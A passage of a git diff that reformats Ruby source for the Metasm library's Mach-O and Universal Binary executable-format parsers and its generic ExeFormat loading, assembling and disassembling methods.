.bss - # .entrypoint [
[(no)wxalloc] [base=] - sname = readstr[] - if not s = @segments.find { |s_| s_.name == sname } - s = LoadCommand::SEGMENT.new - s.name = sname - s.encoded = EncodedData.new - s.initprot = %w[READ] - s.maxprot = %w[READ WRITE EXECUTE] - @segments << s - end - loop do - @lexer.skip_space - break if not tok = @lexer.nexttok or tok.type != :string - case @lexer.readtok.raw.downcase - when /^(no)?(r)?(w)?(x)?$/ - ar = [] - ar << 'READ' if $2 - ar << 'WRITE' if $3 - ar << 'EXECINSTR' if $4 - if $1; s.initprot -= ar - else s.initprot |= ar - end - else raise instr, 'unknown specifier' - end - end - @cursource = @source[sname] ||= [] - check_eol[] - - when '.entrypoint' # XXX thread-specific - # ".entrypoint " or ".entrypoint" (here) - @lexer.skip_space - if tok = @lexer.nexttok and tok.type == :string - raise instr if not entrypoint = Expression.parse(@lexer) - else - entrypoint = new_label('entrypoint') - @cursource << Label.new(entrypoint, instr.backtrace.dup) - end - if not cmd = @commands.find { |cmd_| cmd_.cmd == 'THREAD' or cmd_.cmd == 'UNIXTHREAD' } - cmd = LoadCommand.new - cmd.cmd = 'UNIXTHREAD' # UNIXTHREAD creates a stack - cmd.data = LoadCommand::THREAD.new - cmd.data.ctx = {} - cmd.data.flavor = 'NEW_THREAD_STATE' # XXX i386 specific - @commands << cmd - end - cmd.data.set_entrypoint(self, entrypoint) - check_eol[] - - else super(instr) - end - end - - # assembles the hash self.source to a section array - def assemble(*a) - parse(*a) if not a.empty? - @source.each { |k, v| - raise "no segment named #{k} ?" if not s = @segments.find { |s_| s_.name == k } - s.encoded << assemble_sequence(v, @cpu) - v.clear - } - end + MAGIC = "\xfe\xed\xfa\xce" # 0xfeedface + CIGAM = MAGIC.reverse # 0xcefaedfe + MAGIC64 = "\xfe\xed\xfa\xcf" # 0xfeedfacf + CIGAM64 = MAGIC64.reverse # 0xcffaedfe + + MAGICS = [MAGIC, CIGAM, MAGIC64, CIGAM64] + + CPU = { + 1 => 'VAX', 2 => 'ROMP', + 4 => 'NS32032', 5 => 'NS32332', + 6 => 'MC680x0', 7 => 'I386', + 8 => 'MIPS', 9 => 'NS32532', + 11 => 'HPPA', 12 => 'ARM', + 13 => 'MC88000', 14 => 'SPARC', + 15 => 'I860', 16 => 'I860_LITTLE', + 17 => 'RS6000', 18 => 'POWERPC', + #0x100_0000 => 'CPU_ARCH_ABI64', + 0x100_0000|7 => 'X86_64', + 0x100_0000|18 => 'POWERPC64', + 255 => 'VEO', + 0xffff_ffff => 'ANY', + } + + SUBCPU = { + 'VAX' => { 0 => 'ALL', + 1 => '780', 2 => '785', 3 => '750', 4 => '730', + 5 => 'UVAXI', 6 => 'UVAXII', 7 => '8200', 8 => '8500', + 9 => '8600', 10 => '8650', 11 => '8800', 12 => 'UVAXIII', + }, + 'ROMP' => { 0 => 'ALL', 1 => 'PC', 2 => 'APC', 3 => '135', + 0 => 'MMAX_ALL', 1 => 'MMAX_DPC', 2 => 'SQT', + 3 => 'MMAX_APC_FPU', 4 => 'MMAX_APC_FPA', 5 => 'MMAX_XPC', + }, + 'I386' => { 3 => 'ALL', 4 => '486', 4+128 => '486SX', + 0 => 'INTEL_MODEL_ALL', 10 => 'PENTIUM_4', + 5 => 'PENT', 0x16 => 'PENTPRO', 0x36 => 'PENTII_M3', 0x56 => 'PENTII_M5', + }, + 'MIPS' => { 0 => 'ALL', 1 => 'R2300', 2 => 'R2600', 3 => 'R2800', 4 => 'R2000a', }, + 'MC680x0' => { 1 => 'ALL', 2 => 'MC68040', 3 => 'MC68030_ONLY', }, + 'HPPA' => { 0 => 'ALL', 1 => '7100LC', }, + 'ARM' => { 0 => 'ALL', 1 => 'A500_ARCH', 2 => 'A500', 3 => 'A440', + 4 => 'M4', 5 => 'A680', 6 => 'ARMV6', 9 => 'ARMV7', + }, + 'MC88000' => { 0 => 'ALL', 1 => 'MC88100', 2 => 'MC88110', }, + :wtf => { 0 => 'MC98000_ALL', 1 => 'MC98601', }, + 'I860' => { 0 => 'ALL', 1 => '860', }, + 'RS6000' => { 0 => 'ALL', 1 => 'RS6000', }, + :wtf2 => { 0 => 'SUN4_ALL', 1 => 'SUN4_260', 2 => 'SUN4_110', }, + 'SPARC' => { 0 => 'SPARC_ALL', }, + 'POWERPC' => { 0 => 'ALL', 1 => '601', 2 => '602', 3 => '603', 4 => '603e', + 5 => '603ev', 6 => '604', 7 => '604e', 8 => '620', + 9 => '750', 10 => '7400', 11 => '7450', 100 => '970', + }, + 'VEO' => { 1 => 'VEO_1', 2 => 'VEO_ALL', }, + } + SUBCPU['POWERPC64'] = SUBCPU['POWERPC'].dup + SUBCPU['X86_64'] = SUBCPU['I386'].dup + + SUBCPUFLAG = { 0x80 => 'LIB64' } + + + FILETYPE = { + 1 => 'OBJECT', 2 => 'EXECUTE', 3 => 'FVMLIB', + 4 => 'CORE', 5 => 'PRELOAD', 6 => 'DYLIB', + 7 => 'DYLINKER', 8 => 'BUNDLE', 9 => 'DYLIB_STUB', + } + + FLAGS = { + 0x1 => 'NOUNDEFS', 0x2 => 'INCRLINK', 0x4 => 'DYLDLINK', 0x8 => 'BINDATLOAD', + 0x10 => 'PREBOUND', 0x20 => 'SPLIT_SEGS', 0x40 => 'LAZY_INIT', 0x80 => 'TWOLEVEL', + 0x100 => 'FORCE_FLAT', 0x200 => 'NOMULTIDEFS', 0x400 => 'NOFIXPREBINDING', 0x800 => 'PREBINDABLE', + 0x1000 => 'ALLMODSBOUND', 0x2000 => 'SUBSECTIONS_VIA_SYMBOLS', 0x4000 => 'CANONICAL', 0x8000 => 'WEAK_DEFINES', + 0x10000 => 'BINDS_TO_WEAK', 0x20000 => 'ALLOW_STACK_EXECUTION', + } + + SEG_PROT = { 1 => 'READ', 2 => 'WRITE', 4 => 'EXECUTE' } + + LOAD_COMMAND = { + 0x1 => 'SEGMENT', 0x2 => 'SYMTAB', 0x3 => 'SYMSEG', 0x4 => 'THREAD', + 0x5 => 'UNIXTHREAD', 0x6 => 'LOADFVMLIB', 0x7 => 'IDFVMLIB', 0x8 => 'IDENT', + 0x9 => 'FVMFILE', 0xa => 'PREPAGE', 0xb => 'DYSYMTAB', 0xc => 'LOAD_DYLIB', + 0xd => 'ID_DYLIB', 0xe => 'LOAD_DYLINKER', 0xf => 'ID_DYLINKER', 0x10 => 'PREBOUND_DYLIB', + 0x11 => 'ROUTINES', 0x12 => 'SUB_FRAMEWORK', 0x13 => 'SUB_UMBRELLA', 0x14 => 'SUB_CLIENT', + 0x15 => 'SUB_LIBRARY', 0x16 => 'TWOLEVEL_HINTS', 0x17 => 'PREBIND_CKSUM', + 0x8000_0018 => 'LOAD_WEAK_DYLIB', 0x19 => 'SEGMENT_64', 0x1a => 'ROUTINES_64', + 0x1b => 'UUID', 0x8000_001c => 'RPATH', 0x1d => 'CODE_SIGNATURE_PTR', 0x1e => 'CODE_SEGMENT_SPLIT_INFO', + 0x8000_001f => 'REEXPORT_DYLIB', + #0x8000_0000 => 'REQ_DYLD', + } + + THREAD_FLAVOR = { + 'POWERPC' => { + 1 => 'THREAD_STATE', + 2 => 'FLOAT_STATE', + 3 => 'EXCEPTION_STATE', + 4 => 'VECTOR_STATE' + }, + 'I386' => { + 1 => 'NEW_THREAD_STATE', + 2 => 'FLOAT_STATE', + 3 => 'ISA_PORT_MAP_STATE', + 4 => 'V86_ASSIST_STATE', + 5 => 'REGS_SEGS_STATE', + 6 => 'THREAD_SYSCALL_STATE', + 7 => 'THREAD_STATE_NONE', + 8 => 'SAVED_STATE', + -1 & 0xffffffff => 'THREAD_STATE', + -2 & 0xffffffff => 'THREAD_FPSTATE', + -3 & 0xffffffff => 'THREAD_EXCEPTSTATE', + -4 & 0xffffffff => 'THREAD_CTHREADSTATE' + } + } + + SYM_SCOPE = { 0 => 'LOCAL', 1 => 'GLOBAL' } + SYM_TYPE = { 0 => 'UNDF', 2/2 => 'ABS', 0xa/2 => 'INDR', 0xe/2 => 'SECT', 0x1e/2 => 'TYPE' } + SYM_STAB = { } + + class SerialStruct < Metasm::SerialStruct + new_int_field :xword + end + + class Header < SerialStruct + mem :magic, 4 + decode_hook { |m, h| + case h.magic + when MAGIC; m.size = 32 ; m.endianness = :big + when CIGAM; m.size = 32 ; m.endianness = :little + when MAGIC64; m.size = 64 ; m.endianness = :big + when CIGAM64; m.size = 64 ; m.endianness = :little + else raise InvalidExeFormat, "Invalid Mach-O signature #{h.magic.unpack('H*').first.inspect}" + end + } + word :cputype + bitfield :word, 0 => :cpusubtype, 24 => :cpusubtypeflag + words :filetype, :ncmds, :sizeofcmds, :flags + fld_enum :cputype, CPU + fld_enum(:cpusubtype) { |m, h| SUBCPU[h.cputype] || {} } + fld_bits :cpusubtypeflag, SUBCPUFLAG + fld_enum :filetype, FILETYPE + fld_bits :flags, FLAGS + attr_accessor :reserved # word 64bit only + + def set_default_values(m) + @magic ||= case [m.size, m.endianness] + when [32, :big]; MAGIC + when [32, :little]; CIGAM + when [64, :big]; MAGIC64 + when [64, :little]; CIGAM64 + end + @cpusubtype ||= 'ALL' + @filetype ||= 'EXECUTE' + @ncmds ||= m.commands.length + @sizeofcmds ||= m.new_label('sizeofcmds') + super(m) + end + + def decode(m) + super(m) + @reserved = m.decode_word if m.size == 64 + end + end + + class LoadCommand < SerialStruct + words :cmd, :cmdsize + fld_enum :cmd, LOAD_COMMAND + attr_accessor :data + + def decode(m) + super(m) + ptr = m.encoded.ptr + if @cmd.kind_of? String and self.class.constants.map { |c| c.to_s }.include? @cmd + @data = self.class.const_get(@cmd).decode(m) + end + m.encoded.ptr = ptr + @cmdsize - 8 + end + + def set_default_values(m) + @cmd ||= data.class.name.sub(/.*::/, '') + @cmdsize ||= 'cmdsize' + super(m) + end + + def encode(m) + ed = super(m) + ed << @data.encode(m) if @data + ed.align(m.size >> 3) + ed.fixup! @cmdsize => ed.length if @cmdsize.kind_of? String + ed + end + + + class UUID < SerialStruct + mem :uuid, 16 + end + + class SEGMENT < SerialStruct + str :name, 16 + xwords :virtaddr, :virtsize, :fileoff, :filesize + words :maxprot, :initprot, :nsects, :flags + fld_bits :maxprot, SEG_PROT + fld_bits :initprot, SEG_PROT + attr_accessor :sections, :encoded + + def decode(m) + super(m) + @sections = [] + @nsects.times { @sections << SECTION.decode(m, self) } + end + + def set_default_values(m) + # TODO (in the caller?) @encoded = @sections.map { |s| s.encoded }.join + @virtaddr ||= m.new_label('virtaddr') + @virtsize ||= @encoded.length + @fileoff ||= m.new_label('fileoff') + @filesize ||= @encoded.rawsize + @sections ||= [] + @nsects ||= @sections.length + @maxprot ||= %w[READ WRITE EXECUTE] + @initprot ||= %w[READ] + super(m) + end + + def encode(m) + ed = super(m) # need to call set_default_values before using @sections + @sections.inject(ed) { |ed_, s| ed_ << s.encode(m) } + end + end + SEGMENT_64 = SEGMENT + + class SECTION < SerialStruct + str :name, 16 + str :segname, 16 + xwords :addr, :size + words :offset, :align, :reloff, :nreloc, :flags, :res1, :res2 + attr_accessor :res3 # word 64bit only + attr_accessor :segment, :encoded + + def decode(m, s) + super(m) + @res3 = m.decode_word if m.size == 64 + @segment = s + end + + def set_default_values(m) + @segname ||= @segment.name + # addr, offset, etc = @segment.virtaddr + 42 + super(m) + end + + def decode_inner(m) + @encoded = m.encoded[m.addr_to_off(@addr), @size] + end + end + SECTION_64 = SECTION + + class SYMTAB < SerialStruct + words :symoff, :nsyms, :stroff, :strsize + end + + class DYSYMTAB < SerialStruct + words :ilocalsym, :nlocalsym, :iextdefsym, :nextdefsym, :iundefsym, :nundefsym, + :tocoff, :ntoc, :modtaboff, :nmodtab, :extrefsymoff, :nextrefsyms, + :indirectsymoff, :nindirectsyms, :extreloff, :nextrel, :locreloff, :nlocrel + end + + class THREAD < SerialStruct + words :flavor, :count + fld_enum(:flavor) { |m, t| THREAD_FLAVOR[m.header.cputype] || {} } + attr_accessor :ctx + + def entrypoint(m) + @ctx ||= {} + case m.header.cputype + when 'I386'; @ctx[:eip] + when 'X86_64'; @ctx[:rip] + when 'POWERPC'; @ctx[:srr0] + when 'ARM'; @ctx[:pc] + end + end + + def set_entrypoint(m, ep) + @ctx ||= {} + case m.header.cputype + when 'I386'; @ctx[:eip] = ep + when 'X86_64'; @ctx[:rip] = ep + when 'POWERPC'; @ctx[:srr0] = ep + when 'ARM'; @ctx[:pc] = ep + end + end + + def ctx_keys(m) + case m.header.cputype + when 'I386'; %w[eax ebx ecx edx edi esi ebp esp ss eflags eip cs ds es fs gs] + when 'X86_64'; %w[rax rbx rcx rdx rdi rsi rbp rsp r8 r9 r10 r11 r12 r13 r14 r15 rip rflags cs fs gs] + when 'POWERPC'; %w[srr0 srr1 r0 r1 r2 r3 r4 r5 r6 r7 r8 r9 r10 r11 r12 r13 r14 r15 r16 r17 r18 r19 r20 r21 r22 r23 r24 r25 r26 r27 r28 r29 r30 r31 cr xer lr ctr mq vrsave] + when 'ARM'; %w[r0 r1 r2 r3 r4 r5 r6 r7 r8 r9 r10 r11 r12 sp lr pc] + else [*1..@count].map { |i| "r#{i}" } + end.map { |k| k.to_sym } + end + + def decode(m) + super(m) + @ctx = ctx_keys(m)[0, @count].inject({}) { |ctx, r| ctx.update r => m.decode_xword } + end + + def set_default_values(m) + @ctx ||= {} + ctx_keys(m).each { |k| @ctx[k] ||= 0 } + @count ||= @ctx.length + super(m) + end + + def encode(m) + ctx_keys(m).inject(super(m)) { |ed, r| ed << m.encode_word(@ctx[r]) } + end + end + UNIXTHREAD = THREAD + + class STRING < SerialStruct + word :stroff + attr_accessor :str + + def decode(m) + ptr = m.encoded.ptr + super(m) + ptr = m.encoded.ptr = ptr + @stroff - 8 + @str = m.decode_strz + end + end + + class DYLIB < STRING + word :stroff + words :timestamp, :cur_version, :compat_version + end + LOAD_DYLIB = DYLIB + ID_DYLIB = DYLIB + + class PREBOUND_DYLIB < STRING + word :stroff + word :nmodules + word :linked_modules + end + + LOAD_DYLINKER = STRING + ID_DYLINKER = STRING + + class ROUTINES < SerialStruct + xwords :init_addr, :init_module, :res1, :res2, :res3, :res4, :res5, :res6 + end + ROUTINES_64 = ROUTINES + + class TWOLEVEL_HINTS < SerialStruct + words :offset, :nhints + end + class TWOLEVEL_HINT < SerialStruct + bitfield :word, 0 => :isub_image, 8 => :itoc + end + + SUB_FRAMEWORK = STRING + SUB_UMBRELLA = STRING + SUB_LIBRARY = STRING + SUB_CLIENT = STRING + + class CODE_SIGNATURE_PTR < SerialStruct + word :offset + word :size + attr_accessor :codesig + + def decode(m) + ptr = m.encoded.ptr + super(m) + m.encoded.ptr = @offset + @codesig = CODE_SIGNATURE.decode(m) + m.encoded.ptr = ptr + @size + end + end + end + + class CODE_SIGNATURE < SerialStruct + word :magic + word :size + word :count + attr_accessor :slots + + def decode(m) + cs_base = m.encoded.ptr + e = m.endianness + m.endianness = :big + + super(m) + @slots = [] + @count.times { @slots << CS_SLOT_PTR.decode(m, cs_base) } + m.endianness = e + end + end + + class CS_SLOT_PTR < SerialStruct + word :type + word :offset + attr_accessor :body + + def decode(m, cs_base) + super(m) + ptr = m.encoded.ptr + m.encoded.ptr = cs_base + @offset + + if @type == 0 + @body = CS_CODE_DIRECTORY.decode(m) + else + @body = CS_SLOT.decode(m) + end + m.encoded.ptr = ptr + end + end + + class CS_SLOT < SerialStruct + word :magic + word :size + attr_accessor :data + + def decode(m) + super(m) + @data = m.encoded.read(@size) + end + end + + class CS_CODE_DIRECTORY < SerialStruct + words :magic, :size, :version + mem :unk1, 4 + word :hash_offset + word :name_offset + word :special_page_count + word :code_page_count + mem :unk3, 8 + attr_accessor :name, :cs_slots_hash, :code_hash + + def decode(m) + super(m) + ptr = m.encoded.ptr + + m.encoded.ptr += @name_offset - 40 + @name = m.decode_strz + @cs_slots_hash = m.encoded.read(@special_page_count * 20) + + m.encoded.ptr = ptr + @hash_offset - 40 + @code_hash = m.encoded.read(@size - @hash_offset) + + m.encoded.ptr = ptr + end + end + + class Symbol < SerialStruct + word :nameoff + bitfield :byte, 0 => :scope, 1 => :type, 5 => :stab + fld_enum :scope, SYM_SCOPE + fld_enum :type, SYM_TYPE + fld_enum :stab, SYM_STAB + byte :sect + half :desc + xword :value + attr_accessor :name + + def decode(m, buf=nil) + super(m) + idx = buf.index(?\0, @nameoff) if buf + @name = @name = buf[@nameoff..idx-1] if idx + end + end + + def encode_byte(val) Expression[val].encode( :u8, @endianness) end + def encode_half(val) Expression[val].encode(:u16, @endianness) end + def encode_word(val) Expression[val].encode(:u32, @endianness) end + def encode_xword(val) Expression[val].encode((@size == 32 ? :u32 : :u64), @endianness) end + def decode_byte(edata = @encoded) edata.decode_imm( :u8, @endianness) end + def decode_half(edata = @encoded) edata.decode_imm(:u16, @endianness) end + def decode_word(edata = @encoded) edata.decode_imm(:u32, @endianness) end + def decode_xword(edata= @encoded) edata.decode_imm((@size == 32 ? :u32 : :u64), @endianness) end + + + attr_accessor :endianness, :size + attr_accessor :header, :source + attr_accessor :segments + attr_accessor :commands + attr_accessor :symbols + + def initialize(cpu=nil) + super(cpu) + @endianness ||= cpu ? cpu.endianness : :little + @size ||= cpu ? cpu.size : 32 + @header = Header.new + @commands = [] + @segments = [] + end + + # decodes the Mach header from the current offset in self.encoded + def decode_header + @header.decode self + @header.ncmds.times { @commands << LoadCommand.decode(self) } + @commands.each { |cmd| + e = cmd.data + case cmd.cmd + when 'SEGMENT', 'SEGMENT_64'; @segments << e + end + } + end + + def decode + decode_header + @segments.each { |s| decode_segment(s) } + decode_symbols + decode_relocations + end + + def decode_symbols + @symbols = [] + ep_count = 0 + @commands.each { |cmd| + e = cmd.data + case cmd.cmd + when 'SYMTAB' + @encoded.ptr = e.stroff + buf = @encoded.read e.strsize + @encoded.ptr = e.symoff + e.nsyms.times { @symbols << Symbol.decode(self, buf) } + when 'THREAD', 'UNIXTHREAD' + ep_count += 1 + ep = cmd.data.entrypoint(self) + next if not seg = @segments.find { |seg_| ep >= seg_.virtaddr and ep < seg_.virtaddr + seg_.virtsize } + seg.encoded.add_export("entrypoint#{"_#{ep_count}" if ep_count >= 2 }", ep - seg.virtaddr) + end + } + @symbols.each { |s| + next if s.value == 0 or not s.name + next if not seg = @segments.find { |seg_| s.value >= seg_.virtaddr and s.value < seg_.virtaddr + seg_.virtsize } + seg.encoded.add_export(s.name, s.value - seg.virtaddr) + } + end + + def decode_relocations + end + + def decode_segment(s) + s.encoded = @encoded[s.fileoff, s.filesize] + s.encoded.virtsize = s.virtsize + s.sections.each { |ss| ss.encoded = @encoded[ss.offset, ss.size] } + end + + def each_section(&b) + @segments.each { |s| yield s.encoded, s.virtaddr } + end + + def get_default_entrypoints + @commands.find_all { |cmd| cmd.cmd == 'THREAD' or cmd.cmd == 'UNIXTHREAD' }.map { |cmd| cmd.data.entrypoint(self) } + end + + def cpu_from_headers + case @header.cputype + when 'I386'; Ia32.new + when 'X86_64'; X86_64.new + when 'POWERPC'; PowerPC.new + when 'ARM'; ARM.new + else raise "unsupported cpu #{@header.cputype}" + end + end + + def encode(type=nil) + @encoded = EncodedData.new + + init_header_cpu + + if false and maybeyoureallyneedthis + segz = LoadCommand::SEGMENT.new + segz.name = '__PAGEZERO' + segz.encoded = EncodedData.new + segz.encoded.virtsize = 0x1000 + segz.initprot = segz.maxprot = 0 + @segments.unshift segz + end + + # TODO sections -> segments + @segments.each { |seg| + cname = (@size == 64 ? 'SEGMENT_64' : 'SEGMENT') + if not @commands.find { |cmd| cmd.cmd == cname and cmd.data == seg } + cmd = LoadCommand.new + cmd.cmd = cname + cmd.data = seg + @commands << cmd + end + } + + binding = {} + @encoded << @header.encode(self) + + first = @segments.find { |seg| seg.encoded.rawsize > 0 } + + first.virtsize = new_label('virtsize') + first.filesize = new_label('filesize') + + hlen = @encoded.length + @commands.each { |cmd| @encoded << cmd.encode(self) } + binding[@header.sizeofcmds] = @encoded.length - hlen if @header.sizeofcmds.kind_of? String + + # put header in first segment + first.encoded = @encoded << first.encoded + + @encoded = EncodedData.new + + addr = @encoded.length + @segments.each { |seg| + seg.encoded.align 0x1000 + binding[seg.virtaddr] = addr + binding[seg.virtsize] = seg.encoded.length if seg.filesize.kind_of? String + binding[seg.fileoff] = @encoded.length + binding[seg.filesize] = seg.encoded.rawsize if seg.filesize.kind_of? String + binding.update seg.encoded.binding(addr) + @encoded << seg.encoded[0, seg.encoded.rawsize] + @encoded.align 0x1000 + addr += seg.encoded.length + } + + @encoded.fixup! binding + @encoded.data + end + + def parse_init + # allow the user to specify a section, falls back to .text if none specified + if not defined? @cursource or not @cursource + @cursource = Object.new + class << @cursource + attr_accessor :exe + def <<(*a) + t = Preprocessor::Token.new(nil) + t.raw = '.text' + exe.parse_parser_instruction t + exe.cursource.send(:<<, *a) + end + end + @cursource.exe = self + end + + @source ||= {} + + init_header_cpu # for '.entrypoint' + + super() + end + + def init_header_cpu + @header.cputype ||= case @cpu.shortname + when 'ia32'; 'I386' + when 'x64'; 'X86_64' + when 'powerpc'; 'POWERPC' + when 'arm'; 'ARM' + end + end + + # handles macho meta-instructions + # + # syntax: + # .section "" [] + # change current section (where normal instruction/data are put) + # perms = list of 'r' 'w' 'x', may be prefixed by 'no' + # shortcuts: .text .data .rodata .bss + # .entrypoint [
[(no)wxalloc] [base=] + sname = readstr[] + if not s = @segments.find { |s_| s_.name == sname } + s = LoadCommand::SEGMENT.new + s.name = sname + s.encoded = EncodedData.new + s.initprot = %w[READ] + s.maxprot = %w[READ WRITE EXECUTE] + @segments << s + end + loop do + @lexer.skip_space + break if not tok = @lexer.nexttok or tok.type != :string + case @lexer.readtok.raw.downcase + when /^(no)?(r)?(w)?(x)?$/ + ar = [] + ar << 'READ' if $2 + ar << 'WRITE' if $3 + ar << 'EXECINSTR' if $4 + if $1; s.initprot -= ar + else s.initprot |= ar + end + else raise instr, 'unknown specifier' + end + end + @cursource = @source[sname] ||= [] + check_eol[] + + when '.entrypoint' # XXX thread-specific + # ".entrypoint " or ".entrypoint" (here) + @lexer.skip_space + if tok = @lexer.nexttok and tok.type == :string + raise instr if not entrypoint = Expression.parse(@lexer) + else + entrypoint = new_label('entrypoint') + @cursource << Label.new(entrypoint, instr.backtrace.dup) + end + if not cmd = @commands.find { |cmd_| cmd_.cmd == 'THREAD' or cmd_.cmd == 'UNIXTHREAD' } + cmd = LoadCommand.new + cmd.cmd = 'UNIXTHREAD' # UNIXTHREAD creates a stack + cmd.data = LoadCommand::THREAD.new + cmd.data.ctx = {} + cmd.data.flavor = 'NEW_THREAD_STATE' # XXX i386 specific + @commands << cmd + end + cmd.data.set_entrypoint(self, entrypoint) + check_eol[] + + else super(instr) + end + end + + # assembles the hash self.source to a section array + def assemble(*a) + parse(*a) if not a.empty? + @source.each { |k, v| + raise "no segment named #{k} ?" if not s = @segments.find { |s_| s_.name == k } + s.encoded << assemble_sequence(v, @cpu) + v.clear + } + end end MACHO = MachO class UniversalBinary < ExeFormat - MAGIC = "\xca\xfe\xba\xbe" # 0xcafebabe - - class Header < SerialStruct - mem :magic, 4 - word :nfat_arch - - def decode(u) - super(u) - raise InvalidExeFormat, "Invalid UniversalBinary signature #{@magic.unpack('H*').first.inspect}" if @magic != MAGIC - end - end - class FatArch < SerialStruct - words :cputype, :subcpu, :offset, :size, :align - fld_enum :cputype, MachO::CPU - fld_enum(:subcpu) { |x, a| MachO::SUBCPU[a.cputype] || {} } - attr_accessor :encoded - end - - def encode_word(val) Expression[val].encode(:u32, @endianness) end - def decode_word(edata = @encoded) edata.decode_imm(:u32, @endianness) end - - attr_accessor :endianness, :encoded, :header, :archive - def initialize - @endianness = :big - super() - end - - def decode - @header = Header.decode(self) - @archive = [] - @header.nfat_arch.times { @archive << FatArch.decode(self) } - @archive.each { |a| - a.encoded = @encoded[a.offset, a.size] || EncodedData.new - } - end - - def [](i) AutoExe.decode(@archive[i].encoded) if @archive[i] end - def <<(exe) @archive << exe end - - def self.autoexe_load(*a) - ub = super(*a) - ub.decode - # TODO have a global callback or whatever to prompt the user - # which file he wants to load in the dasm - puts "UniversalBinary: using 1st archive member" if $VERBOSE - AutoExe.load(ub.archive[0].encoded) - end + MAGIC = "\xca\xfe\xba\xbe" # 0xcafebabe + + class Header < SerialStruct + mem :magic, 4 + word :nfat_arch + + def decode(u) + super(u) + raise InvalidExeFormat, "Invalid UniversalBinary signature #{@magic.unpack('H*').first.inspect}" if @magic != MAGIC + end + end + class FatArch < SerialStruct + words :cputype, :subcpu, :offset, :size, :align + fld_enum :cputype, MachO::CPU + fld_enum(:subcpu) { |x, a| MachO::SUBCPU[a.cputype] || {} } + attr_accessor :encoded + end + + def encode_word(val) Expression[val].encode(:u32, @endianness) end + def decode_word(edata = @encoded) edata.decode_imm(:u32, @endianness) end + + attr_accessor :endianness, :encoded, :header, :archive + def initialize + @endianness = :big + super() + end + + def decode + @header = Header.decode(self) + @archive = [] + @header.nfat_arch.times { @archive << FatArch.decode(self) } + @archive.each { |a| + a.encoded = @encoded[a.offset, a.size] || EncodedData.new + } + end + + def [](i) AutoExe.decode(@archive[i].encoded) if @archive[i] end + def <<(exe) @archive << exe end + + def self.autoexe_load(*a) + ub = super(*a) + ub.decode + # TODO have a global callback or whatever to prompt the user + # which file he wants to load in the dasm + puts "UniversalBinary: using 1st archive member" if $VERBOSE + AutoExe.load(ub.archive[0].encoded) + end end end diff --git a/lib/metasm/metasm/exe_format/main.rb b/lib/metasm/metasm/exe_format/main.rb index 86db8c58896bf..6134148e1335f 100644 --- a/lib/metasm/metasm/exe_format/main.rb +++ b/lib/metasm/metasm/exe_format/main.rb @@ -13,216 +13,216 @@ module Metasm class ExeFormat - # creates a new instance, populates self.encoded with the supplied string - def self.load(str, *a, &b) - e = new(*a, &b) - if str.kind_of? EncodedData; e.encoded = str - else e.encoded << str - end - e - end - - # same as load, used by AutoExe - def self.autoexe_load(*x, &b) - load(*x, &b) - end - - attr_accessor :filename - - # same as +load+, but from a file - # uses VirtualFile if available - def self.load_file(path, *a, &b) - e = load(VirtualFile.read(path), *a, &b) - e.filename ||= path - e - end - - # +load_file+ then decode - def self.decode_file(path, *a, &b) - e = load_file(path, *a, &b) - e.decode if not e.instance_variables.map { |iv| iv.to_s }.include?("@disassembler") - e - end - - # +load_file+ then decode header - def self.decode_file_header(path, *a, &b) - e = load_file(path, *a, &b) - e.decode_header - e - end - - def self.decode(raw, *a, &b) - e = load(raw, *a, &b) - e.decode - e - end - - def self.decode_header(raw, *a, &b) - e = load(raw, *a, &b) - e.decode_header - e - end - - # creates a new object using the specified cpu, parses the asm source, and assemble - def self.assemble(cpu, source, file='', lineno=1) - source, cpu = cpu, source if source.kind_of? CPU - e = new(cpu) - e.assemble(source, file, lineno) - e - end - - # same as #assemble, reads asm source from the specified file - def self.assemble_file(cpu, filename) - filename, cpu = cpu, filename if filename.kind_of? CPU - assemble(cpu, File.read(filename), filename, 1) - end - - # parses a bunch of standalone C code, compile and assemble it - def compile_c(source, file='', lineno=1) - cp = @cpu.new_cparser - tune_cparser(cp) - cp.parse(source, file, lineno) - read_c_attrs cp if respond_to? :read_c_attrs - asm_source = @cpu.new_ccompiler(cp, self).compile - puts asm_source if $DEBUG - assemble(asm_source, 'C compiler output', 1) - c_set_default_entrypoint - end - - # creates a new object using the specified cpu, parse/compile/assemble the C source - def self.compile_c(cpu, source, file='', lineno=1) - source, cpu = cpu, source if source.kind_of? CPU - e = new(cpu) - e.compile_c(source, file, lineno) - e - end - - def self.compile_c_file(cpu, filename) - filename, cpu = cpu, filename if filename.kind_of? CPU - compile_c(cpu, File.read(filename), filename, 1) - end - - # add directive to change the current assembler section to the assembler source +src+ - def compile_setsection(src, section) - src << section - end - - # prepare a preprocessor before it reads any source, should define macros to identify the fileformat - def tune_prepro(l) - end - - # prepare a cparser - def tune_cparser(cp) - tune_prepro(cp.lexer) - end - - # this is called once C code is parsed, to handle C attributes like export/import/init etc - def read_c_attrs(cp) - end - - # should setup a default entrypoint for C code, including preparing args for main() etc - def c_set_default_entrypoint - end - - attr_writer :disassembler # custom reader - def disassembler - @disassembler ||= init_disassembler - end - - # returns the exe disassembler - # if it does not exist, creates one, and feeds it with the exe sections - def init_disassembler - @disassembler ||= Disassembler.new(self) - @disassembler.cpu ||= cpu - each_section { |edata, base| - edata ||= EncodedData.new - @disassembler.add_section edata, base - } - @disassembler - end - - # disassembles the specified entrypoints - # initializes the disassembler if needed - # uses get_default_entrypoints if the argument list is empty - # returns the disassembler - def disassemble(*entrypoints) - entrypoints = get_default_entrypoints if entrypoints.empty? - disassembler.disassemble(*entrypoints) - @disassembler - end - - # disassembles the specified entrypoints without backtracking - # initializes the disassembler if needed - # uses get_default_entrypoints if the argument list is empty - # returns the disassembler - def disassemble_fast_deep(*entrypoints) - entrypoints = get_default_entrypoints if entrypoints.empty? - disassembler.disassemble_fast_deep(*entrypoints) - @disassembler - end - - # returns a list of entrypoints to disassemble (program entrypoint, exported functions...) - def get_default_entrypoints - [] - end - - # encodes the executable as a string, checks that all relocations are - # resolved, and returns the raw string version - def encode_string(*a) - encode(*a) - raise ["Unresolved relocations:", @encoded.reloc.map { |o, r| "#{r.target} " + (Backtrace.backtrace_str(r.backtrace) if r.backtrace).to_s }].join("\n") if not @encoded.reloc.empty? - @encoded.data - end - - # saves the result of +encode_string+ in the specified file - # fails if the file already exists - def encode_file(path, *a) - #raise Errno::EEXIST, path if File.exist? path # race, but cannot use O_EXCL, as O_BINARY is not defined in ruby - encode_string(*a) - File.open(path, 'wb') { |fd| fd.write(@encoded.data) } - end - - # returns the address at which a given file offset would be mapped - def addr_to_fileoff(addr) - addr - end - - # returns the file offset where a mapped byte comes from - def fileoff_to_addr(foff) - foff - end - - def shortname; self.class.name.split('::').last.downcase; end + # creates a new instance, populates 